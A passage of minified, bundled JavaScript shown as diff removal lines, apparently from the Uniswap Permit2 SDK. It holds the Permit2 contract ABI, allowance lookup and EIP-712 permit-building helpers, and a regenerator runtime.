"address" }, { indexed: false, internalType: "uint256", name: "word", type: "uint256" }, { indexed: false, internalType: "uint256", name: "mask", type: "uint256" }], name: "UnorderedNonceInvalidation", type: "event" }, { inputs: [], name: "DOMAIN_SEPARATOR", outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }], stateMutability: "view", type: "function" }, { inputs: [{ internalType: "address", name: "", type: "address" }, { internalType: "address", name: "", type: "address" }, { internalType: "address", name: "", type: "address" }], name: "allowance", outputs: [{ internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }, { internalType: "uint48", name: "nonce", type: "uint48" }], stateMutability: "view", type: "function" }, { inputs: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }], name: "approve", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint48", name: "newNonce", type: "uint48" }], name: "invalidateNonces", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "uint256", name: "wordPos", type: "uint256" }, { internalType: "uint256", name: "mask", type: "uint256" }], name: "invalidateUnorderedNonces", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "spender", type: "address" }], internalType: "struct IAllowanceTransfer.TokenSpenderPair[]", name: "approvals", type: "tuple[]" }], name: "lockdown", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "", type: "address" }, { internalType: "uint256", name: "", type: "uint256" }], name: "nonceBitmap", outputs: [{ internalType: "uint256", name: "", type: "uint256" }], stateMutability: "view", type: "function" }, { inputs: [{ internalType: "address", name: "owner", type: "address" }, { components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }, { internalType: "uint48", name: "nonce", type: "uint48" }], internalType: "struct IAllowanceTransfer.PermitDetails[]", name: "details", type: "tuple[]" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint256", name: "sigDeadline", type: "uint256" }], internalType: "struct IAllowanceTransfer.PermitBatch", name: "permitBatch", type: "tuple" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permit", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "owner", type: "address" }, { components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }, { internalType: "uint48", name: "nonce", type: "uint48" }], internalType: "struct IAllowanceTransfer.PermitDetails", name: "details", type: "tuple" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint256", name: "sigDeadline", type: "uint256" }], internalType: "struct IAllowanceTransfer.PermitSingle", name: "permitSingle", type: "tuple" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permit", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions[]", name: "permitted", type: "tuple[]" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { components: [{ internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }], internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", name: "transferDetails", type: "tuple[]" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions", name: "permitted", type: "tuple" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions", name: "permitted", type: "tuple" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }, { internalType: "bytes32", name: "witness", type: "bytes32" }, { internalType: "string", name: "witnessTypeName", type: "string" }, { internalType: "string", name: "witnessType", type: "string" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitWitnessTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions[]", name: "permitted", type: "tuple[]" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { components: [{ internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }], internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", name: "transferDetails", type: "tuple[]" }, { internalType: "bytes32", name: "witness", type: "bytes32" }, { internalType: "string", name: "witnessTypeName", type: "string" }, { internalType: "string", name: "witnessType", type: "string" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitWitnessTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "from", type: "address" }, { internalType: "address", name: "to", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }], name: "transferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "from", type: "address" }, { components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "address", name: "to", type: "address" }], internalType: "struct IAllowanceTransfer.AllowanceTransferDetails[]", name: "transferDetails", type: "tuple[]" }], name: "transferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }]; - return o.AllowanceProvider = function() { - function t3(t4, e4) { - this.provider = t4, this.permit2Address = e4, this.permit2 = new A2.Contract(this.permit2Address, M2, this.provider); - } - var e3 = t3.prototype; - return e3.getAllowanceData = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.permit2.allowance(r5, e4, n3); - case 2: - return t6.abrupt("return", t6.sent); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), e3.getAllowance = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.getAllowanceData(e4, r5, n3); - case 2: - return t6.abrupt("return", t6.sent.amount); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), e3.getNonce = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.getAllowanceData(e4, r5, n3); - case 2: - return t6.abrupt("return", t6.sent.nonce); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), e3.getExpiration = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.getAllowanceData(e4, r5, n3); - case 2: - return t6.abrupt("return", t6.sent.expiration); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), t3; - }(), o.AllowanceTransfer = B2, o.InstantExpiration = d2, o.MaxAllowanceExpiration = g2, o.MaxAllowanceTransferAmount = h2, o.MaxOrderedNonce = u2, o.MaxSigDeadline = p2, o.MaxSignatureTransferAmount = l2, o.MaxUint160 = a2, o.MaxUint256 = c2, o.MaxUint48 = i2, o.MaxUnorderedNonce = f2, o.PERMIT2_ADDRESS = "0x000000000022D473030F116dDEE9F6B43aC78BA3", o.SignatureTransfer = S2, o.permit2Address = function(t3) { - return 324 === t3 ? "0x0000000000225e31D15943971F47aD3022F714Fa" : "0x000000000022D473030F116dDEE9F6B43aC78BA3"; - }, o; - }() : i.exports = function() { - if (un) - return ln; - un = 1, Object.defineProperty(ln, "__esModule", { value: true }); - var t2, e2 = (t2 = s()) && "object" == typeof t2 && "default" in t2 ? t2.default : t2, r4 = Me, n2 = xe, A2 = gn, i2 = "0x000000000022D473030F116dDEE9F6B43aC78BA3", o2 = n2.BigNumber.from("0xffffffffffff"), a2 = n2.BigNumber.from("0xffffffffffffffffffffffffffffffffffffffff"), c2 = n2.BigNumber.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"), h2 = a2, g2 = o2, u2 = o2, l2 = c2, f2 = c2, p2 = c2, d2 = n2.BigNumber.from(0); - function I2(t3, e3) { - return { name: "Permit2", chainId: e3, verifyingContract: t3 }; - } - var y2 = [{ name: "token", type: "address" }, { name: "amount", type: "uint160" }, { name: "expiration", type: "uint48" }, { name: "nonce", type: "uint48" }], C2 = { PermitSingle: [{ name: "details", type: "PermitDetails" }, { name: "spender", type: "address" }, { name: "sigDeadline", type: "uint256" }], PermitDetails: y2 }, m2 = { PermitBatch: [{ name: "details", type: "PermitDetails[]" }, { name: "spender", type: "address" }, { name: "sigDeadline", type: "uint256" }], PermitDetails: y2 }, B2 = function() { - function t3() { - } - return t3.getPermitData = function(t4, r5, n3) { - p2.gte(t4.sigDeadline) || e2(false, "SIG_DEADLINE_OUT_OF_RANGE"); - var A3 = I2(r5, n3); - return function(t5) { - return !Array.isArray(t5.details); - }(t4) ? (E2(t4.details), { domain: A3, types: C2, values: t4 }) : (t4.details.forEach(E2), { domain: A3, types: m2, values: t4 }); - }, t3.hash = function(e3, n3, A3) { - var i3 = t3.getPermitData(e3, n3, A3), o3 = i3.domain, s2 = i3.types, a3 = i3.values; - return r4._TypedDataEncoder.hash(o3, s2, a3); - }, t3; - }(); - function E2(t3) { - u2.gte(t3.nonce) || e2(false, "NONCE_OUT_OF_RANGE"), h2.gte(t3.amount) || e2(false, "AMOUNT_OUT_OF_RANGE"), g2.gte(t3.expiration) || e2(false, "EXPIRATION_OUT_OF_RANGE"); - } - function w2() { - w2 = function() { - return e3; - }; - var t3, e3 = {}, r5 = Object.prototype, n3 = r5.hasOwnProperty, A3 = Object.defineProperty || function(t4, e4, r6) { - t4[e4] = r6.value; - }, i3 = "function" == typeof Symbol ? Symbol : {}, o3 = i3.iterator || "@@iterator", s2 = i3.asyncIterator || "@@asyncIterator", a3 = i3.toStringTag || "@@toStringTag"; - function c3(t4, e4, r6) { - return Object.defineProperty(t4, e4, { value: r6, enumerable: true, configurable: true, writable: true }), t4[e4]; - } - try { - c3({}, ""); - } catch (t4) { - c3 = function(t5, e4, r6) { - return t5[e4] = r6; - }; - } - function h3(t4, e4, r6, n4) { - var i4 = e4 && e4.prototype instanceof I3 ? e4 : I3, o4 = Object.create(i4.prototype), s3 = new N4(n4 || []); - return A3(o4, "_invoke", { value: b3(t4, r6, s3) }), o4; - } - function g3(t4, e4, r6) { - try { - return { type: "normal", arg: t4.call(e4, r6) }; - } catch (t5) { - return { type: "throw", arg: t5 }; - } - } - e3.wrap = h3; - var u3 = "suspendedStart", l3 = "suspendedYield", f3 = "executing", p3 = "completed", d3 = {}; - function I3() { - } - function y3() { - } - function C3() { - } - var m3 = {}; - c3(m3, o3, function() { - return this; - }); - var B3 = Object.getPrototypeOf, E3 = B3 && B3(B3(M3([]))); - E3 && E3 !== r5 && n3.call(E3, o3) && (m3 = E3); - var v3 = C3.prototype = I3.prototype = Object.create(m3); - function _3(t4) { - ["next", "throw", "return"].forEach(function(e4) { - c3(t4, e4, function(t5) { - return this._invoke(e4, t5); - }); - }); - } - function Q3(t4, e4) { - function r6(A4, i5, o4, s3) { - var a4 = g3(t4[A4], t4, i5); - if ("throw" !== a4.type) { - var c4 = a4.arg, h4 = c4.value; - return h4 && "object" == typeof h4 && n3.call(h4, "__await") ? e4.resolve(h4.__await).then(function(t5) { - r6("next", t5, o4, s3); - }, function(t5) { - r6("throw", t5, o4, s3); - }) : e4.resolve(h4).then(function(t5) { - c4.value = t5, o4(c4); - }, function(t5) { - return r6("throw", t5, o4, s3); - }); - } - s3(a4.arg); - } - var i4; - A3(this, "_invoke", { value: function(t5, n4) { - function A4() { - return new e4(function(e5, A5) { - r6(t5, n4, e5, A5); - }); - } - return i4 = i4 ? i4.then(A4, A4) : A4(); - } }); - } - function b3(e4, r6, n4) { - var A4 = u3; - return function(i4, o4) { - if (A4 === f3) - throw new Error("Generator is already running"); - if (A4 === p3) { - if ("throw" === i4) - throw o4; - return { value: t3, done: true }; - } - for (n4.method = i4, n4.arg = o4; ; ) { - var s3 = n4.delegate; - if (s3) { - var a4 = k3(s3, n4); - if (a4) { - if (a4 === d3) - continue; - return a4; - } - } - if ("next" === n4.method) - n4.sent = n4._sent = n4.arg; - else if ("throw" === n4.method) { - if (A4 === u3) - throw A4 = p3, n4.arg; - n4.dispatchException(n4.arg); - } else - "return" === n4.method && n4.abrupt("return", n4.arg); - A4 = f3; - var c4 = g3(e4, r6, n4); - if ("normal" === c4.type) { - if (A4 = n4.done ? p3 : l3, c4.arg === d3) - continue; - return { value: c4.arg, done: n4.done }; - } - "throw" === c4.type && (A4 = p3, n4.method = "throw", n4.arg = c4.arg); - } - }; - } - function k3(e4, r6) { - var n4 = r6.method, A4 = e4.iterator[n4]; - if (A4 === t3) - return r6.delegate = null, "throw" === n4 && e4.iterator.return && (r6.method = "return", r6.arg = t3, k3(e4, r6), "throw" === r6.method) || "return" !== n4 && (r6.method = "throw", r6.arg = new TypeError("The iterator does not provide a '" + n4 + "' method")), d3; - var i4 = g3(A4, e4.iterator, r6.arg); - if ("throw" === i4.type) - return r6.method = "throw", r6.arg = i4.arg, r6.delegate = null, d3; - var o4 = i4.arg; - return o4 ? o4.done ? (r6[e4.resultName] = o4.value, r6.next = e4.nextLoc, "return" !== r6.method && (r6.method = "next", r6.arg = t3), r6.delegate = null, d3) : o4 : (r6.method = "throw", r6.arg = new TypeError("iterator result is not an object"), r6.delegate = null, d3); - } - function D3(t4) { - var e4 = { tryLoc: t4[0] }; - 1 in t4 && (e4.catchLoc = t4[1]), 2 in t4 && (e4.finallyLoc = t4[2], e4.afterLoc = t4[3]), this.tryEntries.push(e4); - } - function S3(t4) { - var e4 = t4.completion || {}; - e4.type = "normal", delete e4.arg, t4.completion = e4; - } - function N4(t4) { - this.tryEntries = [{ tryLoc: "root" }], t4.forEach(D3, this), this.reset(true); - } - function M3(e4) { - if (e4 || "" === e4) { - var r6 = e4[o3]; - if (r6) - return r6.call(e4); - if ("function" == typeof e4.next) - return e4; - if (!isNaN(e4.length)) { - var A4 = -1, i4 = function r7() { - for (; ++A4 < e4.length; ) - if (n3.call(e4, A4)) - return r7.value = e4[A4], r7.done = false, r7; - return r7.value = t3, r7.done = true, r7; - }; - return i4.next = i4; - } - } - throw new TypeError(typeof e4 + " is not iterable"); - } - return y3.prototype = C3, A3(v3, "constructor", { value: C3, configurable: true }), A3(C3, "constructor", { value: y3, configurable: true }), y3.displayName = c3(C3, a3, "GeneratorFunction"), e3.isGeneratorFunction = function(t4) { - var e4 = "function" == typeof t4 && t4.constructor; - return !!e4 && (e4 === y3 || "GeneratorFunction" === (e4.displayName || e4.name)); - }, e3.mark = function(t4) { - return Object.setPrototypeOf ? Object.setPrototypeOf(t4, C3) : (t4.__proto__ = C3, c3(t4, a3, "GeneratorFunction")), t4.prototype = Object.create(v3), t4; - }, e3.awrap = function(t4) { - return { __await: t4 }; - }, _3(Q3.prototype), c3(Q3.prototype, s2, function() { - return this; - }), e3.AsyncIterator = Q3, e3.async = function(t4, r6, n4, A4, i4) { - void 0 === i4 && (i4 = Promise); - var o4 = new Q3(h3(t4, r6, n4, A4), i4); - return e3.isGeneratorFunction(r6) ? o4 : o4.next().then(function(t5) { - return t5.done ? t5.value : o4.next(); - }); - }, _3(v3), c3(v3, a3, "Generator"), c3(v3, o3, function() { - return this; - }), c3(v3, "toString", function() { - return "[object Generator]"; - }), e3.keys = function(t4) { - var e4 = Object(t4), r6 = []; - for (var n4 in e4) - r6.push(n4); - return r6.reverse(), function t5() { - for (; r6.length; ) { - var n5 = r6.pop(); - if (n5 in e4) - return t5.value = n5, t5.done = false, t5; - } - return t5.done = true, t5; - }; - }, e3.values = M3, N4.prototype = { constructor: N4, reset: function(e4) { - if (this.prev = 0, this.next = 0, this.sent = this._sent = t3, this.done = false, this.delegate = null, this.method = "next", this.arg = t3, this.tryEntries.forEach(S3), !e4) - for (var r6 in this) - "t" === r6.charAt(0) && n3.call(this, r6) && !isNaN(+r6.slice(1)) && (this[r6] = t3); - }, stop: function() { - this.done = true; - var t4 = this.tryEntries[0].completion; - if ("throw" === t4.type) - throw t4.arg; - return this.rval; - }, dispatchException: function(e4) { - if (this.done) - throw e4; - var r6 = this; - function A4(n4, A5) { - return s3.type = "throw", s3.arg = e4, r6.next = n4, A5 && (r6.method = "next", r6.arg = t3), !!A5; - } - for (var i4 = this.tryEntries.length - 1; i4 >= 0; --i4) { - var o4 = this.tryEntries[i4], s3 = o4.completion; - if ("root" === o4.tryLoc) - return A4("end"); - if (o4.tryLoc <= this.prev) { - var a4 = n3.call(o4, "catchLoc"), c4 = n3.call(o4, "finallyLoc"); - if (a4 && c4) { - if (this.prev < o4.catchLoc) - return A4(o4.catchLoc, true); - if (this.prev < o4.finallyLoc) - return A4(o4.finallyLoc); - } else if (a4) { - if (this.prev < o4.catchLoc) - return A4(o4.catchLoc, true); - } else { - if (!c4) - throw new Error("try statement without catch or finally"); - if (this.prev < o4.finallyLoc) - return A4(o4.finallyLoc); - } - } - } - }, abrupt: function(t4, e4) { - for (var r6 = this.tryEntries.length - 1; r6 >= 0; --r6) { - var A4 = this.tryEntries[r6]; - if (A4.tryLoc <= this.prev && n3.call(A4, "finallyLoc") && this.prev < A4.finallyLoc) { - var i4 = A4; - break; - } - } - i4 && ("break" === t4 || "continue" === t4) && i4.tryLoc <= e4 && e4 <= i4.finallyLoc && (i4 = null); - var o4 = i4 ? i4.completion : {}; - return o4.type = t4, o4.arg = e4, i4 ? (this.method = "next", this.next = i4.finallyLoc, d3) : this.complete(o4); - }, complete: function(t4, e4) { - if ("throw" === t4.type) - throw t4.arg; - return "break" === t4.type || "continue" === t4.type ? this.next = t4.arg : "return" === t4.type ? (this.rval = this.arg = t4.arg, this.method = "return", this.next = "end") : "normal" === t4.type && e4 && (this.next = e4), d3; - }, finish: function(t4) { - for (var e4 = this.tryEntries.length - 1; e4 >= 0; --e4) { - var r6 = this.tryEntries[e4]; - if (r6.finallyLoc === t4) - return this.complete(r6.completion, r6.afterLoc), S3(r6), d3; - } - }, catch: function(t4) { - for (var e4 = this.tryEntries.length - 1; e4 >= 0; --e4) { - var r6 = this.tryEntries[e4]; - if (r6.tryLoc === t4) { - var n4 = r6.completion; - if ("throw" === n4.type) { - var A4 = n4.arg; - S3(r6); - } - return A4; - } - } - throw new Error("illegal catch attempt"); - }, delegateYield: function(e4, r6, n4) { - return this.delegate = { iterator: M3(e4), resultName: r6, nextLoc: n4 }, "next" === this.method && (this.arg = t3), d3; - } }, e3; - } - function v2(t3, e3, r5, n3, A3, i3, o3) { - try { - var s2 = t3[i3](o3), a3 = s2.value; - } catch (t4) { - return void r5(t4); - } - s2.done ? e3(a3) : Promise.resolve(a3).then(n3, A3); - } - function _2(t3) { - return function() { - var e3 = this, r5 = arguments; - return new Promise(function(n3, A3) { - var i3 = t3.apply(e3, r5); - function o3(t4) { - v2(i3, n3, A3, o3, s2, "next", t4); - } - function s2(t4) { - v2(i3, n3, A3, o3, s2, "throw", t4); - } - o3(void 0); - }); - }; - } - function Q2() { - return Q2 = Object.assign ? Object.assign.bind() : function(t3) { - for (var e3 = 1; e3 < arguments.length; e3++) { - var r5 = arguments[e3]; - for (var n3 in r5) - Object.prototype.hasOwnProperty.call(r5, n3) && (t3[n3] = r5[n3]); - } - return t3; - }, Q2.apply(this, arguments); - } - var b2 = [{ name: "token", type: "address" }, { name: "amount", type: "uint256" }], k2 = { PermitTransferFrom: [{ name: "permitted", type: "TokenPermissions" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }], TokenPermissions: b2 }, D2 = { PermitBatchTransferFrom: [{ name: "permitted", type: "TokenPermissions[]" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }], TokenPermissions: b2 }, S2 = function() { - function t3() { - } - return t3.getPermitData = function(t4, r5, n3, A3) { - p2.gte(t4.deadline) || e2(false, "SIG_DEADLINE_OUT_OF_RANGE"), f2.gte(t4.nonce) || e2(false, "NONCE_OUT_OF_RANGE"); - var i3 = I2(r5, n3); - if (function(t5) { - return !Array.isArray(t5.permitted); - }(t4)) { - N3(t4.permitted); - var o3 = A3 ? function(t5) { - return Q2({ PermitWitnessTransferFrom: [{ name: "permitted", type: "TokenPermissions" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }, { name: "witness", type: t5.witnessTypeName }], TokenPermissions: b2 }, t5.witnessType); - }(A3) : k2; - return { domain: i3, types: o3, values: A3 ? Object.assign(t4, { witness: A3.witness }) : t4 }; - } - t4.permitted.forEach(N3); - var s2 = A3 ? function(t5) { - return Q2({ PermitBatchWitnessTransferFrom: [{ name: "permitted", type: "TokenPermissions[]" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }, { name: "witness", type: t5.witnessTypeName }], TokenPermissions: b2 }, t5.witnessType); - }(A3) : D2; - return { domain: i3, types: s2, values: A3 ? Object.assign(t4, { witness: A3.witness }) : t4 }; - }, t3.hash = function(e3, n3, A3, i3) { - var o3 = t3.getPermitData(e3, n3, A3, i3), s2 = o3.domain, a3 = o3.types, c3 = o3.values; - return r4._TypedDataEncoder.hash(s2, a3, c3); - }, t3; - }(); - function N3(t3) { - l2.gte(t3.amount) || e2(false, "AMOUNT_OUT_OF_RANGE"); - } - var M2 = [{ inputs: [], name: "AllowanceExpired", type: "error" }, { inputs: [], name: "ExcessiveInvalidation", type: "error" }, { inputs: [], name: "InsufficientAllowance", type: "error" }, { inputs: [], name: "InvalidAmount", type: "error" }, { inputs: [], name: "InvalidContractSignature", type: "error" }, { inputs: [], name: "InvalidNonce", type: "error" }, { inputs: [], name: "InvalidSignature", type: "error" }, { inputs: [], name: "InvalidSigner", type: "error" }, { inputs: [], name: "LengthMismatch", type: "error" }, { inputs: [], name: "NotSpender", type: "error" }, { inputs: [], name: "SignatureExpired", type: "error" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: true, internalType: "address", name: "token", type: "address" }, { indexed: true, internalType: "address", name: "spender", type: "address" }, { indexed: false, internalType: "uint160", name: "amount", type: "uint160" }, { indexed: false, internalType: "uint48", name: "expiration", type: "uint48" }], name: "Approval", type: "event" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: false, internalType: "address", name: "token", type: "address" }, { indexed: false, internalType: "address", name: "spender", type: "address" }], name: "Lockdown", type: "event" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: true, internalType: "address", name: "token", type: "address" }, { indexed: true, internalType: "address", name: "spender", type: "address" }, { indexed: false, internalType: "uint48", name: "newNonce", type: "uint48" }, { indexed: false, internalType: "uint48", name: "oldNonce", type: "uint48" }], name: "NonceInvalidation", type: "event" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: false, internalType: "uint256", name: "word", type: "uint256" }, { indexed: false, internalType: "uint256", name: "mask", type: "uint256" }], name: "UnorderedNonceInvalidation", type: "event" }, { inputs: [], name: "DOMAIN_SEPARATOR", outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }], stateMutability: "view", type: "function" }, { inputs: [{ internalType: "address", name: "", type: "address" }, { internalType: "address", name: "", type: "address" }, { internalType: "address", name: "", type: "address" }], name: "allowance", outputs: [{ internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }, { internalType: "uint48", name: "nonce", type: "uint48" }], stateMutability: "view", type: "function" }, { inputs: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }], name: "approve", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint48", name: "newNonce", type: "uint48" }], name: "invalidateNonces", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "uint256", name: "wordPos", type: "uint256" }, { internalType: "uint256", name: "mask", type: "uint256" }], name: "invalidateUnorderedNonces", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "spender", type: "address" }], internalType: "struct IAllowanceTransfer.TokenSpenderPair[]", name: "approvals", type: "tuple[]" }], name: "lockdown", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "", type: "address" }, { internalType: "uint256", name: "", type: "uint256" }], name: "nonceBitmap", outputs: [{ internalType: "uint256", name: "", type: "uint256" }], stateMutability: "view", type: "function" }, { inputs: [{ internalType: "address", name: "owner", type: "address" }, { components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }, { internalType: "uint48", name: "nonce", type: "uint48" }], internalType: "struct IAllowanceTransfer.PermitDetails[]", name: "details", type: "tuple[]" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint256", name: "sigDeadline", type: "uint256" }], internalType: "struct IAllowanceTransfer.PermitBatch", name: "permitBatch", type: "tuple" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permit", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "owner", type: "address" }, { components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "uint48", name: "expiration", type: "uint48" }, { internalType: "uint48", name: "nonce", type: "uint48" }], internalType: "struct IAllowanceTransfer.PermitDetails", name: "details", type: "tuple" }, { internalType: "address", name: "spender", type: "address" }, { internalType: "uint256", name: "sigDeadline", type: "uint256" }], internalType: "struct IAllowanceTransfer.PermitSingle", name: "permitSingle", type: "tuple" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permit", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions[]", name: "permitted", type: "tuple[]" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { components: [{ internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }], internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", name: "transferDetails", type: "tuple[]" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions", name: "permitted", type: "tuple" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions", name: "permitted", type: "tuple" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], 